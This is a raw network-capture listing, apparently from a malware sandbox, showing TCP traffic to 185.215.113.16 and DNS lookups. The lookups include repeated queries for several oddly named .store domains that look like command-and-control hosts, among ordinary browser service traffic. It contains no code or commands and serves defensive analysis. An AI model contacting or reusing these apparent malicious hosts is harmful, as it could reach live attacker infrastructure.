Oct 31, 2024 05:07:33.883507013 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.883521080 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.883557081 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.918576002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.918595076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.918689013 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.918956041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919008970 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.919055939 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919079065 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919096947 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919111013 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919117928 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.919126987 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919142008 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919154882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.919161081 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.919182062 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.922699928 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922713041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922744036 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.922795057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922806978 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922889948 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922897100 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922898054 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.922904015 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.922920942 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.922945023 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.923086882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.923116922 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.923130989 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.923173904 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.923369884 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.923434973 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.923460007 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962547064 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962580919 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962599993 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962603092 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962630033 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962635994 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962645054 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962658882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962671995 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962681055 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962687016 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962701082 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962711096 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962714911 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962729931 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962743044 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962745905 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962754965 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962760925 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962775946 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962790966 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962795019 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962806940 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962831974 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962846041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962848902 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962862015 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962876081 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.962892056 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.962892056 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.002571106 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.002613068 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.002633095 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.002646923 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.002660990 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.002676010 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.002681971 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.002711058 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.038064957 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038100004 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038115978 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038192034 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.038216114 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038239002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038249016 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038249969 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.038294077 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.038304090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038316965 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038330078 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038343906 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.038373947 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.038389921 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:34.038409948 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.041802883 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.041845083 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:34.041863918 CET	80	49943	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 05:06:00.601047039 CET	192.168.2.4	1.1.1.1	0xb241	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.643811941 CET	192.168.2.4	1.1.1.1	0x5ab2	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.655206919 CET	192.168.2.4	1.1.1.1	0x50c7	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.667603016 CET	192.168.2.4	1.1.1.1	0xd30a	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.680330992 CET	192.168.2.4	1.1.1.1	0x6ffa	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.894479990 CET	192.168.2.4	1.1.1.1	0x4ec0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.905982971 CET	192.168.2.4	1.1.1.1	0x4924	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.917324066 CET	192.168.2.4	1.1.1.1	0x9e6a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.929269075 CET	192.168.2.4	1.1.1.1	0x6eb	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.435771942 CET	192.168.2.4	1.1.1.1	0x2372	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.449137926 CET	192.168.2.4	1.1.1.1	0xa968	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.459110022 CET	192.168.2.4	1.1.1.1	0x4951	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.467174053 CET	192.168.2.4	1.1.1.1	0x528e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:41.427897930 CET	192.168.2.4	1.1.1.1	0x835a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:41.510890961 CET	192.168.2.4	1.1.1.1	0xa203	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:01.982358932 CET	192.168.2.4	1.1.1.1	0x50de	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:04.650358915 CET	192.168.2.4	1.1.1.1	0xddda	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:04.658576965 CET	192.168.2.4	1.1.1.1	0x6c05	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:04.665698051 CET	192.168.2.4	1.1.1.1	0xa247	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:05.183680058 CET	192.168.2.4	1.1.1.1	0xd836	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.192215919 CET	192.168.2.4	1.1.1.1	0x29f8	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.199594975 CET	192.168.2.4	1.1.1.1	0x94f0	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:05.293703079 CET	192.168.2.4	1.1.1.1	0x5e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.321784973 CET	192.168.2.4	1.1.1.1	0xf08e	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.334014893 CET	192.168.2.4	1.1.1.1	0x3aa8	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.346733093 CET	192.168.2.4	1.1.1.1	0x1fc8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.820811987 CET	192.168.2.4	1.1.1.1	0x3cfc	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.830537081 CET	192.168.2.4	1.1.1.1	0xb2f2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.844932079 CET	192.168.2.4	1.1.1.1	0x8750	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:05.847137928 CET	192.168.2.4	1.1.1.1	0xea88	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.855756998 CET	192.168.2.4	1.1.1.1	0xf87a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.863764048 CET	192.168.2.4	1.1.1.1	0x207d	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:05.877954960 CET	192.168.2.4	1.1.1.1	0x931	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.904963017 CET	192.168.2.4	1.1.1.1	0xd53f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:06.155178070 CET	192.168.2.4	1.1.1.1	0xe0df	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:06.163602114 CET	192.168.2.4	1.1.1.1	0x2bcf	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:06.171556950 CET	192.168.2.4	1.1.1.1	0x2e7	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:10.498194933 CET	192.168.2.4	1.1.1.1	0x8fa8	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:10.499212980 CET	192.168.2.4	1.1.1.1	0x4b55	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:10.568969965 CET	192.168.2.4	1.1.1.1	0xfa60	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:12.573312998 CET	192.168.2.4	1.1.1.1	0xc53	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:12.583237886 CET	192.168.2.4	1.1.1.1	0xfbdf	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:12.593291998 CET	192.168.2.4	1.1.1.1	0xfa9e	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:23.678411961 CET	192.168.2.4	1.1.1.1	0x3613	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.136918068 CET	192.168.2.4	1.1.1.1	0x7f9d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.137367010 CET	192.168.2.4	1.1.1.1	0xdd86	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.145937920 CET	192.168.2.4	1.1.1.1	0x24e3	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.147386074 CET	192.168.2.4	1.1.1.1	0xd7fd	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.177731037 CET	192.168.2.4	1.1.1.1	0xadf3	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.179999113 CET	192.168.2.4	1.1.1.1	0x2525	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.213365078 CET	192.168.2.4	1.1.1.1	0x42	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.221472979 CET	192.168.2.4	1.1.1.1	0xea8e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.226130009 CET	192.168.2.4	1.1.1.1	0xadf3	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.239959002 CET	192.168.2.4	1.1.1.1	0xd99	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.259201050 CET	192.168.2.4	1.1.1.1	0x3e72	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.275007963 CET	192.168.2.4	1.1.1.1	0x1c5d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.305398941 CET	192.168.2.4	1.1.1.1	0x1c5d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:24.322547913 CET	192.168.2.4	1.1.1.1	0x72c3	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:27.770050049 CET	192.168.2.4	1.1.1.1	0x4192	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.770323038 CET	192.168.2.4	1.1.1.1	0xb4b0	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.770559072 CET	192.168.2.4	1.1.1.1	0x8650	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.778712034 CET	192.168.2.4	1.1.1.1	0xe59f	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.779444933 CET	192.168.2.4	1.1.1.1	0x6428	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.779710054 CET	192.168.2.4	1.1.1.1	0x74fc	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.786945105 CET	192.168.2.4	1.1.1.1	0x3a89	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:27.787466049 CET	192.168.2.4	1.1.1.1	0x182e	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:27.787754059 CET	192.168.2.4	1.1.1.1	0xaf62	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 31, 2024 05:08:27.797065973 CET	192.168.2.4	1.1.1.1	0x3357	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.797322035 CET	192.168.2.4	1.1.1.1	0x675b	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.807295084 CET	192.168.2.4	1.1.1.1	0x50e8	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.807710886 CET	192.168.2.4	1.1.1.1	0x6df8	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.816481113 CET	192.168.2.4	1.1.1.1	0x84a2	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:27.816940069 CET	192.168.2.4	1.1.1.1	0xcaea	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:27.847531080 CET	192.168.2.4	1.1.1.1	0xb5e8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.857834101 CET	192.168.2.4	1.1.1.1	0x434f	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 05:08:29.832861900 CET	192.168.2.4	1.1.1.1	0x6467	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:29.868366957 CET	192.168.2.4	1.1.1.1	0x6467	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 05:08:40.475676060 CET	192.168.2.4	1.1.1.1	0xb053	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 05:06:00.613605976 CET	1.1.1.1	192.168.2.4	0xb241	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.653956890 CET	1.1.1.1	192.168.2.4	0x5ab2	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.663789988 CET	1.1.1.1	192.168.2.4	0x50c7	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.676906109 CET	1.1.1.1	192.168.2.4	0xd30a	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.690205097 CET	1.1.1.1	192.168.2.4	0x6ffa	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:06:00.690205097 CET	1.1.1.1	192.168.2.4	0x6ffa	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.903218031 CET	1.1.1.1	192.168.2.4	0x4ec0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.914603949 CET	1.1.1.1	192.168.2.4	0x4924	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.926064968 CET	1.1.1.1	192.168.2.4	0x9e6a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:14.938276052 CET	1.1.1.1	192.168.2.4	0x6eb	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.444715023 CET	1.1.1.1	192.168.2.4	0x2372	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.458018064 CET	1.1.1.1	192.168.2.4	0xa968	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.466017008 CET	1.1.1.1	192.168.2.4	0x4951	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:29.475577116 CET	1.1.1.1	192.168.2.4	0x528e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:41.346894979 CET	1.1.1.1	192.168.2.4	0xb9f6	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:07:41.434874058 CET	1.1.1.1	192.168.2.4	0x835a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:04.657610893 CET	1.1.1.1	192.168.2.4	0xddda	No error (0)	youtube.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:04.665242910 CET	1.1.1.1	192.168.2.4	0x6c05	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:04.672233105 CET	1.1.1.1	192.168.2.4	0xa247	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 05:08:05.191076994 CET	1.1.1.1	192.168.2.4	0xd836	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:05.191076994 CET	1.1.1.1	192.168.2.4	0xd836	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.199054003 CET	1.1.1.1	192.168.2.4	0x29f8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.206867933 CET	1.1.1.1	192.168.2.4	0x94f0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 05:08:05.302655935 CET	1.1.1.1	192.168.2.4	0x5e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.330604076 CET	1.1.1.1	192.168.2.4	0xf08e	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.343873978 CET	1.1.1.1	192.168.2.4	0x3aa8	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.363790035 CET	1.1.1.1	192.168.2.4	0x1fc8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.827867985 CET	1.1.1.1	192.168.2.4	0x3cfc	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.837811947 CET	1.1.1.1	192.168.2.4	0xb2f2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.854598045 CET	1.1.1.1	192.168.2.4	0xea88	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:05.854598045 CET	1.1.1.1	192.168.2.4	0xea88	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.862363100 CET	1.1.1.1	192.168.2.4	0xf87a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.865130901 CET	1.1.1.1	192.168.2.4	0xea9d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:05.865130901 CET	1.1.1.1	192.168.2.4	0xea9d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:05.885304928 CET	1.1.1.1	192.168.2.4	0x931	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:06.162425995 CET	1.1.1.1	192.168.2.4	0xe0df	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:06.162425995 CET	1.1.1.1	192.168.2.4	0xe0df	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:06.162425995 CET	1.1.1.1	192.168.2.4	0xe0df	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:06.170823097 CET	1.1.1.1	192.168.2.4	0x2bcf	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:06.178534985 CET	1.1.1.1	192.168.2.4	0x2e7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 05:08:10.504698992 CET	1.1.1.1	192.168.2.4	0x8fa8	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:10.505790949 CET	1.1.1.1	192.168.2.4	0x4b55	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:10.505790949 CET	1.1.1.1	192.168.2.4	0x4b55	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:10.575887918 CET	1.1.1.1	192.168.2.4	0xfa60	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:10.575887918 CET	1.1.1.1	192.168.2.4	0xfa60	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:12.580594063 CET	1.1.1.1	192.168.2.4	0xc53	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
